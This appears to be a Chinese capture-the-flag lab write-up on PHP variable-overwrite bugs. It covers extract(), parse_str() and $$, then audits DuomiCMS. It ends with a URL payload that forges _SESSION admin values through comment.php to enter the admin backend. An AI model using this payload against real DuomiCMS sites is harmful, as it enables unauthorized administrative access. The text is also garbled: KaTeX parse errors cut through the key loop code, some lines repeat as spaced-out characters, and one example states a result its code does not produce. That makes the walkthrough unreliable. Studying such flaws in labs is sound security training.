1.概念
1.变量覆盖:变量覆盖指的是可以用我们的传参值替换程序原有的变量值
2.常见的变量覆盖的危险函数
-
extract()函数:将数组中变成变量
举例:<?php
$a = “1”;
$my_array = array(“a” => “Cat”,“b” => “Dog”, “c” => “Horse”);
extract($my_array);
echo “$a = $a; $b = $b; $c = $c”;
?>
运行结果:$a = Cat; $b = Dog; $c = Horse
-
parse_str()函数:将字符串变成变量
举例:<?php
parse_str(“name=zkaq&&age=60”); // test=123&gift=123
echo $name.“
”;echo $age;
?>
运行结果:输出了zkaq和60
-
$ $ 函数:$ $ a存储变量,用来存储$a的值。
举例:<?php
$a=‘abc’;
$ $a=123;
echo $abc;
?>
运行结果:123
$a=abc;
$ $a可以理解为先解析后边这个 $ a,然后在进行解析,最终解析成为 $ abc,所以最终结果为789
2.靶场
1.进入靶场,发现为Duomicms,下载Duomicms进行代码审计,搜索危险函数$$
分析代码:如果要让代码走到$$的地方,那么需要不执行上面的exit,让if满足条件的有三个场景:
1.传参不为空
2.键名有cfg_或者GLOBALS
3.COOKIES传参中没有键名
分析代码:
foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as KaTeX parse error: Expected '}', got 'EOF' at end of input: …st) { foreach($_request as $_k => $_v) KaTeX parse error: Expected '}', got 'EOF' at end of input: {_k} = _RunMagicQuotes($_v);
}
foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as r e q u e s t ) : 接 受 G E T 提 交 、 P O S T 提 交 、 C O O K I E 参 数 , 将 这 个 接 受 来 的 参 数 依 次 放 入 _request):接受GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入 request):接受GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入_request
foreach($$_request as $_k => $_v) KaTeX parse error: Expected '}', got 'EOF' at end of input: {_k} = _RunMagicQuotes($_v): $_k => $_v键值分离,RunMagicQuotes魔术引号
2.在登录代码中查找session的处理
添加代码,打印session
登录cms,拿到cookie: array(5) { [“duomi_ckstr”]=> string(4) “dekt” [“duomi_ckstr_last”]=> string(0) “” [“duomi_admin_id”]=> string(1) “1” [“duomi_group_id”]=> string(1) “1” [“duomi_admin_name”]=> string(5) “admin” }
如果我们自己想加session,需要session_start()打开,代码查找
输入payload:http://192.168.204.1/Duomicms/upload/interface/comment.php?_SEESION[duomi_ckstr]=splb&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin,进入后台
靶场输入相同的payload,拿到flag